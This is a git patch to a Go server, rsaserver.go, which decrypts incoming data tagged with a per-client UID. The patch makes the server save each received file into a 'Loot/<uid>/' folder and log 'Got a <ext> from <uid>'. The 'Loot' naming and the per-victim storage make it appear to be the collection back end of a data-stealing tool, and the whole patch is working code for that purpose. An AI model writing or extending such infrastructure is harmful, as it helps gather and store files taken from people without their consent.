From 819c74cf80ac7ee84ef2489367dc2f376c10c591 Mon Sep 17 00:00:00 2001 From: Joren Schipman Date: Wed, 1 May 2024 22:41:47 +0200 Subject: [PATCH] Write to file --- .gitignore | 1 + rsaserver.go | 43 ++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 41 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 76bebc1..04d9c5e 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ private_key.pem +Loot/* diff --git a/rsaserver.go b/rsaserver.go index b9e34c0..9ef60d4 100644 --- a/rsaserver.go +++ b/rsaserver.go @@ -14,6 +14,8 @@ import ( "log" "net" "github.com/liamg/magic" + "os" + "time" ) func main() { @@ -188,7 +190,42 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){ panic(err) } } - fmt.Printf("UID: %s\n", string(uidB)) - fmt.Printf("File extension: %s\n", fileType.Extension) - fmt.Printf("File type description: %s\n", fileType.Description) + + uid := strings.TrimSpace(string(uidB)) + folderPath := fmt.Sprintf("Loot/%s", uid) + err = createFolderIfNotExists(folderPath) + if err != nil { + panic(err) + } + + timestamp := time.Now().Unix() + filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension) + + filePath := fmt.Sprintf("%s/%s", folderPath, filename) + fmt.Println(filePath) + err = saveFile(filePath, data) + if err != nil { + panic(err) + } + + fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath) +} + +func createFolderIfNotExists(folderPath string) error { + _, err := os.Stat(folderPath) + if os.IsNotExist(err) { + err := os.MkdirAll(folderPath, 0755) + if err != nil { + return err + } + } + return nil +} + +func saveFile(filePath string, data []byte) error { + err := ioutil.WriteFile(filePath, data, 0644) + if err != nil { + return err + } + return nil }